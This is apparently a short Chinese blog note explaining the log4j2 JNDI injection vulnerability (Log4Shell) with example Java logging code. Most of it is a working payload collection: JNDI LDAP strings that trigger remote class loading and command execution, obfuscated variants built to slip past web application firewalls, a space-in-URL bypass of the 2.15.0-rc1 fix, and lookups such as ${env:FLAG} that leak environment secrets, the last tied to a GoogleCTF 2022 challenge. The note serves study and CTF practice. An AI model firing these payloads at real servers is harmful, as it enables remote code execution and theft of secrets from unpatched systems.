log4j2 漏洞
log4j2是一个日志组件,漏洞影响版本2.x <= log4j <= 2.14.1
整体来说感觉这个漏洞有算是一种模板注入.在log2j模块中的输出语句为
logger.info("User {} login in!", username);
比如如下代码
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "Drunkbaby";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

然而如果我们设置username为"${java:os},会直接打印出系统信息.

最开始官方嘴硬说这种设计有利于调试,然而由于查询是局域lookup去实现的,所以直接引入jndi注入漏洞.
比如我们设置username为jndi:ladp://127.0.0.1:1389/Basic/Command/calc,那么就可以直接执行一次jndi查询,在存在codebase注入的jndi版本可以去直接执行远程命令,没有codebase注入的版本也可以去打反序列化链子.

bypass waf
利用分隔符和多个 ${} 绕过
例如payload
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
通过lower和upper绕过
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
同时还可以利用一些特殊的大小写转换问题
logg.info("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
可以利用jackson和fastjson中unicode编码的问题去进行绕过.
特殊payload总结
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
log4j-api-2.15.0-rc1
在这个版本中对log4j2的漏洞进行了修复,然而修的比较唐氏.可以通过在url中添加空格来实现绕过
logger.error("${jndi:ldap://127.0.0.1:9999/ test}");
log4j-api-2.15.0-rc2
在更高版本中,log4j的jndi注入漏洞已经被修复了,然而依然可以考虑尝试通过log4j解析的问题去进行一定的信息泄露.
${java:version}
${java:os}
${java:vm}
${java:hw}
${env:key}
然而这些只会将结果输出到终端,一般情况是没有回显的.
例如在GoogleCTF2022考过一道题,其中使用的bundle在lookup的key不合规范的时候会将其进行回显,因此出现了使用呢这样的payload去进行读env中的flag
${${a:-b}undle:${env:FLAG}}
${${a:-j}ava:${env:FLAG}}

浙公网安备 33010602011771号